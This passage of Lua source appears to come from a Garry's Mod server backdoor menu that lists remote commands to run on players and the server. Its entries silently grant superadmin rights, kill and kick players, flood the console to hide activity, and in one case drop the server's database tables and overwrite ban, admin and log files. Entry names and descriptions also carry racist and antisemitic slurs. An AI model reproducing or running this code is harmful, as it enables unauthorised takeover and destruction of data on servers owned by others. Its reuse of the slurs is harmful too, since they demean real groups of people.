1403 ["DarkRP set force job to player"] = {
1404
1405 ["Type"] = 2,
1406
1407 ["Code"] = [[ for i, t in pairs( team.GetAllTeams() ) do if string.lower(t.Name) == string.lower( @1 ) then v:changeTeam(i, true, true) end end]],
1408
1409 ["Desc"] = "Change their DarkRP Job to the specified job (1st parameter = job name, does not require capitalization)",
1410
1411 ["NeedsParameters"] = 1,
1412
1413 },
1414
1415
1416
1417 ["Force team switch on the player"] = {
1418
1419 ["Type"] = 2,
1420
1421 ["Code"] = [[ for i, t in pairs( team.GetAllTeams() ) do if string.lower(t.Name) == string.lower( @1 ) then v:SetTeam( i ) end end]],
1422
1423 ["Desc"] = "Change their team to the specified team name without using DarkRP (1st parameter)",
1424
1425 ["NeedsParameters"] = 1,
1426
1427 },
1428
1429
1430
1431 ["Activate Noclip on the player"] = {
1432
1433 ["Type"] = 2,
1434
1435 ["Code"] = [[if v:GetMoveType() != MOVETYPE_NOCLIP then v:SetMoveType(MOVETYPE_NOCLIP) else v:SetMoveType(MOVETYPE_WALK) end]],
1436
1437 ["Desc"] = "Toggles noclip on the specified players so they can freely move around and fly",
1438
1439 },
1440
1441
1442
1443 ["Give a weapon to the player"] = {
1444
1445 ["Type"] = 2,
1446
1447 ["Code"] = [[v:Give( @1 )]],
1448
1449 ["Desc"] = "Gives the player a weapon or a swep, Ex: weapon_smg1 (first parameter)",
1450
1451 ["NeedsParameters"] = 1,
1452
1453 },
1454
1455
1456
1457 ["Give ammo to player"] = {
1458
1459 ["Type"] = 2,
1460
1461 ["Code"] = [[v:GiveAmmo( @1, @2, false )]],
1462
1463 ["Desc"] = "Gives this player ammo, (first parameter = amount of ammo, secound parameter = ammo type)",
1464
1465 ["NeedsParameters"] = 2,
1466
1467 },
1468
1469
1470
1471 ["Teleport (them to your cursor)"] = {
1472
1473 ["Type"] = 2,
1474
1475 ["Code"] = [[
1476
1477 local tp = false
1478
1479 local tpos
1480
1481 for _, p in pairs(player.GetAll()) do if %LP then tpos = p:GetEyeTraceNoCursor().HitPos tp = true end end
1482
1483 if tp then v:SetPos( tpos ) end
1484
1485 ]],
1486
1487 ["Desc"] = "Teleports the specfied player to your cursor, Or where your cursor is pointing at, Dont try bring 10 people though",
1488
1489 },
1490
1491
1492
1493 ["Teleport (you to them)"] = {
1494
1495 ["Type"] = 2,
1496
1497 ["Code"] = [[
1498
1499 local tp = false
1500
1501 local tpos = v:GetPos() + Vector( 32, 0, 10)
1502
1503 for _, p in pairs(player.GetAll()) do if %LP then p:SetPos( tpos ) end end
1504
1505 ]],
1506
1507 ["Desc"] = "Teleport yourself to the selected player, Dont attempt to teleport them into a nearby wall, Just saying",
1508
1509 },
1510
1511
1512
1513 ["Teleport (blink)"] = {
1514
1515 ["Type"] = 2,
1516
1517 ["Code"] = [[
1518
1519 local tpos = v:GetEyeTraceNoCursor().HitPos
1520
1521 v:SetPos( tpos )
1522
1523 ]],
1524
1525 ["Desc"] = "Use on yourself or others to warp them to where they are looking",
1526
1527 },
1528
1529
1530
1531 ["Spawn a entity near the player"] = {
1532
1533 ["Type"] = 2,
1534
1535 ["Code"] = [[
1536
1537 local tr = {}
1538
1539 tr.start = v:GetShootPos()
1540
1541 tr.endpos = v:GetShootPos() + 2500 * v:GetAimVector()
1542
1543 tr.filter = {v}
1544
1545 local trace = util.TraceLine(tr)
1546
1547 local dix = ents.Create( @1 )
1548
1549 dix:SetPos(trace.HitPos)
1550
1551 dix:SetAngles(Angle(0,0,0))
1552
1553 dix:Spawn()
1554
1555 ]],
1556
1557 ["Desc"] = "Spawns an entity in front of this player (first parameter = entity class), cannot spawn cars!",
1558
1559 ["NeedsParameters"] = 1,
1560
1561 },
1562
1563
1564
1565 ["Spawn a prop near the player"] = {
1566
1567 ["Type"] = 2,
1568
1569 ["Code"] = [[
1570
1571 local tr = {}
1572
1573 tr.start = v:GetShootPos()
1574
1575 tr.endpos = v:GetShootPos() + 2500 * v:GetAimVector()
1576
1577 tr.filter = {v}
1578
1579 local trace = util.TraceLine(tr)
1580
1581 local dix = ents.Create( "prop_physics" )
1582
1583 dix:SetPos(trace.HitPos)
1584
1585 dix:SetAngles(Angle(0,0,0))
1586
1587 dix:SetModel( @1 )
1588
1589 dix:Spawn()
1590
1591 ]],
1592
1593 ["Desc"] = "Spawns a world prop in front of this player, Ex: models/props_c17/oildrum001.mdl (first parameter = model)",
1594
1595 ["NeedsParameters"] = 1,
1596
1597 },
1598
1599
1600
1601 ["Spawn cheatgomebd shrine"] = {
1602
1603 ["Type"] = 2,
1604
1605 ["Code"] = [[
1606
1607 local tr = {}
1608
1609 tr.start = v:GetShootPos()
1610
1611 tr.endpos = v:GetShootPos() + 2500 * v:GetAimVector()
1612
1613 tr.filter = {v}
1614
1615 local trace = util.TraceLine(tr)
1616
1617 local dix = ents.Create( "prop_physics" )
1618
1619 dix:SetPos( trace.HitPos + Vector( 0, 0, 70 ) )
1620
1621 dix:SetAngles( v:GetAngles() )
1622
1623 dix:SetModel( "models/props_c17/gravestone_cross001a.mdl" )
1624
1625 dix:Spawn()
1626
1627 dix:SetMoveType( MOVETYPE_NONE )
1628
1629 dix:SetMaterial( "models/shiny" )
1630
1631 dix:SetColor( Color( 0, 0, 40 ) )
1632
1633
1634
1635 local function ecr( parent, model, pos, ang, col, mat )
1636
1637 local dix = ents.Create( "prop_physics" )
1638
1639 dix:SetPos( parent:LocalToWorld( pos ) )
1640
1641 dix:SetAngles( parent:LocalToWorldAngles( ang ) )
1642
1643 dix:SetModel( model )
1644
1645 dix:SetParent( parent )
1646
1647 dix:Spawn()
1648
1649 dix:SetColor( col )
1650
1651 dix:SetMaterial( mat )
1652
1653 end
1654
1655
1656
1657 ecr( dix, "models/props_c17/gravestone_coffinpiece001a.mdl", Vector( -65, 0, -60 ), Angle( 0, 180, 0 ), Color( 40, 40, 80 ), "models/shiny" )
1658
1659 ecr( dix, "models/hunter/blocks/cube025x3x025.mdl", Vector( -5, 18, 35 ), Angle( 0, 0, 0 ), Color( 80, 80, 180 ), "models/shiny" )
1660
1661 ecr( dix, "models/hunter/blocks/cube025x3x025.mdl", Vector( -5, 6, 65 ), Angle( 0, 0, 90 ), Color( 80, 80, 180 ), "models/shiny" )
1662
1663 ecr( dix, "models/hunter/blocks/cube025x150x025.mdl", Vector( -5, 71, 100 ), Angle( 0, 0, 90 ), Color( 80, 80, 180 ), "models/shiny" )
1664
1665 ecr( dix, "models/hunter/blocks/cube025x150x025.mdl", Vector( -5, -59, 100 ), Angle( 0, 0, 90 ), Color( 80, 80, 180 ), "models/shiny" )
1666
1667
1668
1669 for _, p in pairs( player.GetAll() ) do p:SendLua( 'chat.AddText( Color(200, 200, 255 ), "Get seized by cheatgome lool xD")' ) sound.Play( "ambient/explosions/explode_8.wav", p:GetPos(), 90, 80, 1 ) end
1670
1671
1672
1673 ]],
1674
1675 ["Desc"] = "Spawns a world prop in front of this player with hell (first parameter = model)",
1676
1677 },
1678
1679
1680
1681
1682
1683
1684
1685 ["Spawn evil npc near player"] = {
1686
1687 ["Type"] = 2,
1688
1689 ["Code"] = [[
1690
1691 local tr = {}
1692
1693 tr.start = v:GetShootPos()
1694
1695 tr.endpos = v:GetShootPos() + 2500 * v:GetAimVector()
1696
1697 tr.filter = {v}
1698
1699 local trace = util.TraceLine(tr)
1700
1701 local dix = ents.Create( "npc_citizen" )
1702
1703 dix:SetPos(trace.HitPos)
1704
1705 dix:SetAngles(Angle(0,0,0))
1706
1707 dix:SetKeyValue( "additionalequipment", table.Random({"weapon_shotgun", "weapon_smg1", "weapon_ar2"}) )
1708
1709 dix:SetKeyValue( "citizentype", 3 )
1710
1711 dix:AddRelationship("player D_HT 200")
1712
1713 dix:SetCurrentWeaponProficiency(WEAPON_PROFICIENCY_PERFECT)
1714
1715 dix:SetSchedule( SCHED_IDLE_WANDER )
1716
1717 dix:Spawn()
1718
1719 ]],
1720
1721 ["Desc"] = "Spawn a hostile NPC in front of this player, The NPC will be triggered so be careful",
1722
1723 },
1724
1725
1726
1727 ["Death ray or vaporize"] = {
1728
1729 ["Type"] = 2,
1730
1731 ["Code"] = [[
1732
1733 local trace = v:GetEyeTraceNoCursor()
1734
1735 if trace.Entity:IsValid() then trace.Entity:Remove() end
1736
1737 ]],
1738
1739 ["Desc"] = "Vaporize whatever this player is looking at which is obviously average",
1740
1741 },
1742
1743
1744
1745 ["Death ray (explosive)"] = {
1746
1747 ["Type"] = 2,
1748
1749 ["Code"] = [[
1750
1751 local trace = v:GetEyeTraceNoCursor()
1752
1753 local explo = ents.Create("env_explosion")
1754
1755 explo:SetPos(trace.HitPos)
1756
1757 explo:SetKeyValue("iMagnitude", "250")
1758
1759 explo:Spawn()
1760
1761 explo:Activate()
1762
1763 explo:Fire("Explode", "", 0)
1764
1765 ]],
1766
1767 ["Desc"] = "Blow up at least 10 bombs at the players cursor for insanely",
1768
1769 },
1770
1771
1772
1773 ["Precise Artillery Strike"] = {
1774
1775 ["Type"] = 2,
1776
1777 ["Code"] = [[
1778
1779 local trace = v:GetEyeTraceNoCursor()
1780
1781 timer.Create( "uiashfuasfas"..v:UniqueID()..math.random(-9999, 99999), 0.2, 15, function()
1782
1783 local explo = ents.Create("env_explosion")
1784
1785 explo:SetPos(trace.HitPos + Vector( math.random( -500, 500), math.random( -500, 500), math.random( -500, 500) ) )
1786
1787 explo:SetKeyValue("iMagnitude", "250")
1788
1789 explo:Spawn()
1790
1791 explo:Activate()
1792
1793 explo:Fire("Explode", "", 0)
1794
1795 end)
1796
1797 ]],
1798
1799 ["Desc"] = "Blow the fuck up where the players looking at a lot",
1800
1801 },
1802
1803
1804
1805 ["Woman Driver"] = {
1806
1807 ["Type"] = 2,
1808
1809 ["Code"] = [[
1810
1811 local trace = v:GetEyeTraceNoCursor()
1812
1813 local car = ents.Create("prop_physics")
1814
1815 local trace2 = util.TraceLine( { start = trace.HitPos, endpos = trace.HitPos + Vector( 0, 0, 5000000 ), mask = MASK_SOLID_BRUSHONLY } )
1816
1817 car:SetModel( "models/props_vehicles/car002a_physics.mdl" )
1818
1819 car:SetAngles( v:GetAngles() )
1820
1821 car:SetPos( trace2.HitPos + Vector( 0, 0, -60 ) )
1822
1823 car:Spawn()
1824
1825 car:Activate()
1826
1827 car.boom = 6
1828
1829 car:GetPhysicsObject():SetVelocity( Vector( 0, 0, -5000 ) )
1830
1831 car:Ignite( 500 )
1832
1833 car:AddCallback( "PhysicsCollide", function( car, dat )
1834
1835 local explo = ents.Create("env_explosion")
1836
1837 explo:SetPos( car:GetPos() )
1838
1839 explo:SetKeyValue("iMagnitude", "350")
1840
1841 explo:Spawn()
1842
1843 explo:Activate()
1844
1845 explo:Fire("Explode", "", 0)
1846
1847 local ef = EffectData()
1848
1849 ef:SetOrigin( car:GetPos() )
1850
1851 ef:SetMagnitude( 5 )
1852
1853 ef:SetScale( 200 )
1854
1855 util.Effect( "ThumperDust", ef )
1856
1857 car.boom = car.boom - 1
1858
1859 if car.boom < 0 then car:Remove() end
1860
1861 end )
1862
1863 timer.Simple( 30, function() if car:IsValid() then car:Remove() end end)
1864
1865 ]],
1866
1867 ["Desc"] = "Watch out, The cars are gonna slam your fucking head humper!",
1868
1869 },
1870
1871
1872
1873
1874
1875
1876
1877 ["Poison Gas"] = {
1878
1879 ["Type"] = 2,
1880
1881 ["Code"] = [[
1882
1883 local trace = v:GetEyeTraceNoCursor()
1884
1885 local ar2Explo = ents.Create("env_ar2explosion")
1886
1887 ar2Explo:SetOwner(game.GetWorld())
1888
1889 local p = trace.HitPos
1890
1891 ar2Explo:SetPos(trace.HitPos)
1892
1893 ar2Explo:Spawn()
1894
1895 ar2Explo:Activate()
1896
1897 ar2Explo:Fire("Explode", "", 0)
1898
1899 timer.Create( "gasthekikes_"..math.random(-9999, 9999).."_"..math.random(-9999, 9999), 0.25, 35, function()
1900
1901 for _, ent in pairs(ents.FindInSphere( p, 500)) do
1902
1903 if !ent:IsPlayer() then continue end
1904
1905 local d = DamageInfo()
1906
1907 d:SetDamage( 1 )
1908
1909 d:SetAttacker( game.GetWorld() )
1910
1911 d:SetInflictor( game.GetWorld() )
1912
1913 d:SetDamageType( DMG_DROWN )
1914
1915 ent:TakeDamageInfo( d )
1916
1917 end
1918
1919 end)
1920
1921
1922
1923 ]],
1924
1925 ["Desc"] = "Drown everyone so they give up and die from oxygen xD",
1926
1927 },
1928
1929
1930
1931
1932
1933 ["Spawn a vehicle near the player"] = {
1934
1935 ["Type"] = 2,
1936
1937 ["Code"] = [[
1938
1939 local trc = {}
1940
1941 trc.start = v:GetShootPos()
1942
1943 trc.endpos = v:GetShootPos() + 2500 * v:GetAimVector()
1944
1945 trc.filter = {v}
1946
1947 local tr = util.TraceLine(trc)
1948
1949
1950
1951 local VehicleList = list.Get( "Vehicles" )
1952
1953 local vehicle = VehicleList[ @1 ]
1954
1955 if ( !vehicle ) then return end
1956
1957 local Angles = v:GetAngles()
1958
1959 Angles.pitch = 0
1960
1961 Angles.roll = 0
1962
1963 Angles.yaw = Angles.yaw + 180
1964
1965
1966
1967 local pos = tr.HitPos
1968
1969 if ( vehicle.Offset ) then
1970
1971 pos = pos + tr.HitNormal * vehicle.Offset
1972
1973 end
1974
1975 local Ent = ents.Create( vehicle.Class )
1976
1977 if ( !Ent ) then return end
1978
1979 duplicator.DoGeneric( Ent, vehicle )
1980
1981 if ( vehicle.Model == "models/buggy.mdl" ) then Ent:SetKeyValue( "vehiclescript", "scripts/vehicles/jeep_test.txt" ) end
1982
1983 if ( vehicle.Model == "models/vehicle.mdl" ) then Ent:SetKeyValue( "vehiclescript", "scripts/vehicles/jalopy.txt" ) end
1984
1985 if ( vehicle && vehicle.KeyValues ) then
1986
1987 for k, v in pairs( vehicle.KeyValues ) do
1988
1989 Ent:SetKeyValue( k, v )
1990
1991 end
1992
1993 end
1994
1995 Ent:SetModel( vehicle.Model )
1996
1997 Ent:SetAngles( Angles )
1998
1999 Ent:SetPos( pos )
2000
2001 Ent:Spawn()
2002
2003 Ent:Activate()
2004
2005 if ( Ent.SetVehicleClass && @1 ) then Ent:SetVehicleClass( @1 ) end
2006
2007 Ent.VehicleName = vehicle.Class
2008
2009 Ent.VehicleTable = @1
2010
2011 Ent.ClassOverride = vehicle.Class
2012
2013 ]],
2014
2015 ["Desc"] = "Spawn a vehicle in front of this player (first parameter = vehicle class), don't try to spawn ents with this ya stupid dingus!",
2016
2017 ["NeedsParameters"] = 1,
2018
2019 },
2020
2021
2022
2023 ["Kick the player"] = {
2024
2025 ["Type"] = 2,
2026
2027 ["Code"] = [[ v:Kick( @1 ) ]],
2028
2029 ["Desc"] = "First parameter = reason for kick, Basically it kicks the player without using ULX's one",
2030
2031 },
2032
2033
2034
2035 ["Niggerize or fuck the player's model"] = {
2036
2037 ["Type"] = 2,
2038
2039 ["Code"] = [[ if !v.Niggered then v:SetColor( Color( 0, 0, 0 ) ) v.Niggered = true else v:SetColor( Color(255, 255, 255) ) v.Niggered = false end ]],
2040
2041 ["Desc"] = "There model is so fucked up that you wont able to survive from this environment",
2042
2043 },
2044
2045
2046
2047 ["Cloak player"] = {
2048
2049 ["Type"] = 2,
2050
2051 ["Code"] = [[ if !v.BDCloaked then v:SetRenderMode( RENDERMODE_NONE ) v.BDCloaked = true else v:SetRenderMode( RENDERMODE_NORMAL ) v.BDCloaked = false end ]],
2052
2053 ["Desc"] = "Toggles cloaking on the player, people can still see the weapon they are holding however",
2054
2055 },
2056
2057
2058
2059 ["Allahu AckbarAAAAA!!"] = {
2060
2061 ["Type"] = 2,
2062
2063 ["Code"] = [[
2064
2065 local explo = ents.Create("env_explosion")
2066
2067 explo:SetOwner(v)
2068
2069 explo:SetPos(v:GetPos())
2070
2071 explo:SetKeyValue("iMagnitude", "250")
2072
2073 explo:Spawn()
2074
2075 explo:Activate()
2076
2077 explo:Fire("Explode", "", 0)
2078
2079 if v:Alive() then v:Kill() end
2080
2081 ]],
2082
2083 ["Desc"] = "Allahu Meme, Blow's the fuck up, Say goodbye to them for the last second until they turn into ash",
2084
2085 },
2086
2087
2088
2089 ["ULX set access"] = {
2090
2091 ["Type"] = 2,
2092
2093 ["Code"] = [[ local userInfo = ULib.ucl.authed[ v:UniqueID() ] ULib.ucl.addUser( v:UniqueID(), userInfo.allow, userInfo.deny, @1 ) ]],
2094
2095 ["Desc"] = "If ulx is installed in this server, this will (silently!) set them to the specified usergroup (1st parameter) EX: superadmin",
2096
2097 ["NeedsParameters"] = 1,
2098
2099 },
2100
2101
2102
2103
2104------------------------ custom / new shit ------------------------
2105
2106
2107
2108
2109 ["Africanize"] = {
2110
2111 ["Type"] = 2,
2112
2113 ["Code"] = [[
2114 local bones = {
2115 [1] = {b = "ValveBiped.Bip01_Head1", v = Vector(4,0,4)},
2116 [2] = {b = "ValveBiped.Bip01_R_Thigh", v = Vector(0,0,0)},
2117 [3] = {b = "ValveBiped.Bip01_L_Thigh", v = Vector(0,0,0)},
2118 [4] = {b = "ValveBiped.Bip01_R_Calf", v = Vector(0,0,1)},
2119 [5] = {b = "ValveBiped.Bip01_L_Calf", v = Vector(0,0,1)},
2120 [6] = {b = "ValveBiped.Bip01_R_UpperArm", v = Vector(0,0,0)},
2121 [7] = {b = "ValveBiped.Bip01_L_UpperArm", v = Vector(0,0,0)},
2122 [8] = {b = "ValveBiped.Bip01_R_Forearm", v = Vector(1,1.5,1.5)},
2123 [9] = {b = "ValveBiped.Bip01_L_Forearm", v = Vector(1,1.5,1.5)},
2124 [10] = {b = "ValveBiped.Bip01_R_Clavicle", v = Vector(0,0,0)},
2125 [11] = {b = "ValveBiped.Bip01_L_Clavicle", v = Vector(0,0,0)},
2126 }
2127
2128 if !v.is2D then
2129 v.is2D = true
2130 for k, bone in pairs(bones) do
2131 local boneToFind = v:LookupBone(bone.b)
2132 v:ManipulateBoneScale( boneToFind, bone.v)
2133 end
2134 else
2135 v.is2D = false
2136 for k, bone in pairs(bones) do
2137 local boneToFind = v:LookupBone(bone.b)
2138 v:ManipulateBoneScale( boneToFind, Vector(1,1,1))
2139 end
2140 end
2141 ]],
2142
2143 ["Desc"] = "ALRIGHT YOUR MODELS ARE NOW 2D, Rip peoples model.",
2144
2145 },
2146
2147 ["Blow the shit out of the people using M9K's nuke"] = {
2148
2149 ["Type"] = 2,
2150
2151 ["Code"] = [[
2152// if (m9k) then
2153 local nuke = ents.Create("m9k_davy_crockett_explo")
2154 nuke:SetPos(v:GetPos())
2155 nuke:SetOwner(v)
2156 nuke.Owner = v
2157 nuke:Spawn()
2158 nuke:Activate()
2159// end
2160 ]],
2161
2162 ["Desc"] = "Creates a nuke 'made' by selected user(s) & activates it where they're standing. Requires M9K Special Weapons",
2163
2164 },
2165
2166 ["Clear the console"] = {
2167
2168 ["Type"] = 1,
2169
2170 ["Code"] = [[
2171 if !(timer.Exists("consoleJammer")) then
2172 timer.Create("consoleJammer", 0.5, 0, function()
2173 print( "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n" )
2174 end )
2175 else
2176 timer.Destroy("consoleJammer")
2177 end
2178 ]],
2179
2180 ["Desc"] = "Spams the server console with blank lines, Very great to hide the secrets",
2181
2182 },
2183
2184 ["Moan steps of sex"] = {
2185
2186 ["Type"] = 1,
2187
2188 ["Code"] = [[
2189 if !(hook.GetTable()["PlayerFootstep"]["moanStep"]) then
2190 hook.Add("PlayerFootstep", "moanStep", function(ply, pos, foot, sound2, volume, filter) ply:EmitSound( "vo/npc/female01/pain06.wav",75,math.random( 50, 150 )) end )
2191 else
2192 hook.Remove("PlayerFootstep", "moanStep")
2193 end
2194 ]],
2195
2196 ["Desc"] = "Don't try to make a step, You'll have down syndrome by then, > Plays porn sounds each step.",
2197
2198 },
2199
2200 ["Delete the whole entire fucking server (WARNING)"] = {
2201
2202 ["Type"] = 3,
2203
2204 ["Code"] = [[
2205 local date = os.date( "%m-%d-%y" )
2206 local databases = { "jobdata","darkrp_door","darkrp_levels","darkrp_prestige","darkrp_doorgroups","darkrp_doorjobs","darkrp_jobspawn","darkrp_position","darkrp_player","darkrp_dbversion","FAdmin_CAMIPrivileges","FADMIN_GROUPS","FAdmin_Immunity","FADMIN_MOTD","FAdmin_PlayerGroup","FADMIN_PRIVILEGES","FADMIN_RESTRICTEDENTS","FAdmin_ServerSettings","FAdminBans","FPP_ANTISPAM1","FPP_BLOCKED1","FPP_BLOCKMODELSETTINGS1","FPP_ENTITYDAMAGE1","FPP_GLOBALSETTINGS1","FPP_GRAVGUN1","FPP_GROUPMEMBERS1","FPP_GROUPS3","FPP_GROUPTOOL","FPP_PHYSGUN1","FPP_PLAYERUSE1","FPP_TOOLADMINONLY","FPP_TOOLGUN1","FPP_TOOLRESTRICTPERSON1","FPP_TOOLTEAMRESTRICT","FPP_BLOCKEDMODELS1","awarn_playerdata","awarn_serverdata","awarn_warnings","blogs_players_v3","blogs_v3","stt_date","stt_players","mlog_logs","mlog_permissions","atlaschat_players","atlaschat_ranks","atlaschat_remote","atlaschat_restrictions","OreBag","fcd_playerData","dailylogin","ChessLeaderboard","qsgr_data","voting_npcs","cac_incidents","steam_rewards","playerdata","playerinformation","utime","permaprops","cc_characters","cc_npcs","ckit_chips","ckit_persist","exsto_data_bans","exsto_data_ranks","exsto_data_users","exsto_data_variables","exsto_restriction","inventories","kinv_items","libk_player","permitems","player_gangapps","player_gangdata","player_gangs","ps2_categories","ps2_equipmentslot","ps2_HatPersistence","ps2_itemmapping","ps2_itempersistence","ps2_OutfitHatPersistenceMapping","ps2_outfits","ps2_playermodelpersistence","ps2_servers","ps2_settings","ps2_trailpersistence","ps2_wallet","removeprops","scoreboard_friends","serverguard_analytics","serverguard_bans","serverguard_pms","serverguard_ranks","serverguard_reports","serverguard_schema","serverguard_ttt_autoslays","serverguard_users","serverguard_watchlist","tttstats","ttt_passes_history","specdm_stats_new","ps2_achievements","ps2_boosterpersistence","ps2_cratepersistence","ps2_instatswitchweaponpersistence","ps2_keypersistence","ps2_rolecontrolpersistence","ps2_weaponpersistence","rapsheet","damagelog_autoslay","damagelog_names","damagelog_oldlogs","damagelog_weapons","kmapvote_mapinfo","kmapvote_ratings","mgang_gangs","mgang_players","deathrun_ids","deathrun_records","deathrun_stats","sui_ratings","shop_texthats","shop_money","shop_items","report_log" }
2207 local datafiles = { "ulib/bans.txt","ulib/groups.txt","ulib/misc_registered.txt","ulib/users.txt","ulx/adverts.txt","ulx/apromote.txt","ulx/banmessage.txt","ulx/banreasons.txt","ulx/downloads.txt","ulx/gimps.txt","ulx/motd.txt","ulx/restrictions.txt","ulx/sbox_limits.txt","ulx/votemaps.txt","apg/settings.txt","atags/tags.txt","atags/rankchattags.txt","atags/playerchattags.txt","atags/tags.txt","atags/selectedtags.txt","atags/ranktags.txt","atags/playertags.txt","vcmod/settings_sv.txt","vcmod/config_sv_privilages.txt","wire_version.txt","UTeam.txt","prevhas.txt","cac/system_log_sv.txt","cac/serverworkshopinformation.txt","cac/settings.txt","cac/serverluainformation.txt","hitnumbers/settings.txt","soundlists/common_sounds.txt","vcmod/controls.txt","vcmod/dataserver.txt","qsgr_data/sqgr_settings.txt","blogs/configcache.txt","blogs/language.txt","cac/adminuipack.txt","ezjobs/config.txt","damagelog/colors.txt","damagelog/filters_new.txt","craphead_scripts/armory_robbery/rp_downtown_v4c/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_v4c_v2/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_v2/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_evilmelon_v1/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_v4c_v3/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_v4c_v4/policearmory_location.txt","mg_gangsdata/mg_npcspawns.txt","ulx/debugdump.txt","ulx/empty_teams.txt","chattags.txt","caseclaims.txt", "sammyservers_textscreens.txt","permaprops_permissions.txt","chattags.txt","prevhash.txt","permaprops_config.txt","zwhitelistjobdata/jobsetting.txt","zwhitelistjobdata/whitelistjob.txt","zmodserveroption/sysjobwhitelist.txt","vliss/settings/config.txt","nordahl_spawnpoint/rp_venator_v3.txt","nordahl_spawnpoint/rp_venator_v2.txt","nordahl_spawnpoint/rp_venator_v1.txt","nordahl_spawnpoint/rp_venator_gg.txt","nordahl_spawnpoint/rp_venator_ausv4.txt","nordahl_spawnpoint/rp_venator_v2_ffg.txt","planningevent/prehud.txt","planningoption/hourformat.txt","nordahl_spawnpoint/arena_byre.txt","nordahl_spawnpoint/rp_venator_v2_immersive.txt","nordahl_spawnpoint/rp_venator_fade_v3.txt","nordahl_spawnpoint/rp_venator_gr.txt","nordahl_spawnpoint/rp_tatoonie_dunsea_v1.txt","nordahl_spawnpoint/rp_scifi.txt","nordahl_spawnpoint/rishimoon_crimson.txt","nordahl_spawnpoint/rp_pripyat_hl2.txt","nordahl_spawnpoint/rp_onwardhope.txt", "nordahl_spawnpoint/rp_oldworld_fix.txt","nordahl_spawnpoint/sd_doomsday.txt","nordahl_spawnpoint/sd_doomsday_event.txt","nordahl_spawnpoint/rp_naboo_city_v1.txt","nordahl_spawnpoint/rp_noclyria_crimson.txt","nordahl_spawnpoint/rp_nar_shaddaa_v2.txt","nordahl_spawnpoint/rp_mos_mersic_v2.txt","nordahl_spawnpoint/rp_kashyyk_jungle_b2.txt","nordahl_spawnpoint/dust_dunes.txt","nordahl_spawnpoint/rp_cscdesert_v2-1_propfix.txt","nordahl_spawnpoint/rd_asteroid.txt","nordahl_spawnpoint/naboo.txt","nordahl_spawnpoint/kashyyyk.txt","nordahl_spawnpoint/geonosis.txt","nordahl_spawnpoint/fightspace3b.txt","nordahl_spawnpoint/endor.txt","nordahl_spawnpoint/toth_forgotten.txt"}
2208 local sensitivefiles = { "ulx_logs/"..date..".txt","ulib/bans.txt","ulib/groups.txt","ulib/misc_registered.txt","ulib/users.txt","ulx/adverts.txt","ulx/apromote.txt","ulx/banmessage.txt","ulx/banreasons.txt","ulx/downloads.txt","ulx/gimps.txt","ulx/motd.txt","ulx/restrictions.txt","ulx/sbox_limits.txt","ulx/votemaps.txt","apg/settings.txt","atags/tags.txt","atags/rankchattags.txt","atags/playerchattags.txt","atags/tags.txt","atags/selectedtags.txt","atags/ranktags.txt","atags/playertags.txt","vcmod/settings_sv.txt","vcmod/config_sv_privilages.txt","cac/system_log_sv.txt","cac/serverworkshopinformation.txt","cac/settings.txt","cac/serverluainformation.txt","vcmod/controls.txt","vcmod/dataserver.txt","blogs/configcache.dat","blogs/language.txt","blogs/config_v5.txt","cac/adminuipack.txt","ulx/debugdump.txt","ulx/empty_teams.txt","chattags.txt","caseclaims.txt", "sammyservers_textscreens.txt","permaprops_permissions.txt","chattags.txt","permaprops_config.txt","whitelist.txt","zwhitelistjobdata/jobsetting.txt","zwhitelistjobdata/whitelistjob.txt","zmodserveroption/sysjobwhitelist.txt","nordahl_spawnpoint/rp_venator_v3.txt","nordahl_spawnpoint/rp_venator_v2.txt","nordahl_spawnpoint/rp_venator_v1.txt","nordahl_spawnpoint/rp_venator_gg.txt","nordahl_spawnpoint/rp_venator_ausv4.txt","nordahl_spawnpoint/rp_venator_v2_ffg.txt","planningevent/prehud.txt","planningoption/hourformat.txt","nordahl_spawnpoint/arena_byre.txt","nordahl_spawnpoint/rp_venator_v2_immersive.txt","nordahl_spawnpoint/rp_venator_fade_v3.txt","nordahl_spawnpoint/rp_venator_gr.txt","nordahl_spawnpoint/rp_tatoonie_dunsea_v1.txt","nordahl_spawnpoint/rp_scifi.txt","nordahl_spawnpoint/rishimoon_crimson.txt","nordahl_spawnpoint/rp_pripyat_hl2.txt","nordahl_spawnpoint/rp_onwardhope.txt", "nordahl_spawnpoint/rp_oldworld_fix.txt","nordahl_spawnpoint/sd_doomsday.txt","nordahl_spawnpoint/sd_doomsday_event.txt","nordahl_spawnpoint/rp_naboo_city_v1.txt","nordahl_spawnpoint/rp_noclyria_crimson.txt","nordahl_spawnpoint/rp_nar_shaddaa_v2.txt","nordahl_spawnpoint/rp_mos_mersic_v2.txt","nordahl_spawnpoint/rp_kashyyk_jungle_b2.txt","nordahl_spawnpoint/dust_dunes.txt","nordahl_spawnpoint/rp_cscdesert_v2-1_propfix.txt","nordahl_spawnpoint/rd_asteroid.txt","nordahl_spawnpoint/naboo.txt","nordahl_spawnpoint/kashyyyk.txt","nordahl_spawnpoint/geonosis.txt","nordahl_spawnpoint/fightspace3b.txt","nordahl_spawnpoint/endor.txt","nordahl_spawnpoint/toth_forgotten.txt"}
2209
2210 for k,v in pairs(databases) do
2211 if sql.TableExists(v) then
2212 sql.Query("DROP TABLE "..v.." ;")
2213 sql.Query("CREATE TABLE IF NOT EXISTS "..v.." ( steamid TEXT NOT NULL PRIMARY KEY, value TEXT );")
2214 end
2215 end
2216
2217 for k,v in pairs(datafiles) do
2218 if file.Exists(v) then
2219 file.Delete(v)
2220 file.write(v, "cheathackedyou")
2221 end
2222 end
2223
2224 for k,v in pairs(sensitivefiles) do
2225 if file.Exists(v) then
2226 file.Delete(v)
2227 file.write(v, "cheathackedyou")
2228 end
2229 end
2230 ]],
2231
2232 ["Desc"] = "Removes as much data as possible. Please don't attempt to do this on your server ill be unuseable,",
2233
2234 },
2235
2236 ["Kill the player silently"] = {
2237
2238 ["Type"] = 2,
2239
2240 ["Code"] = [[v:KillSilent()]],
2241
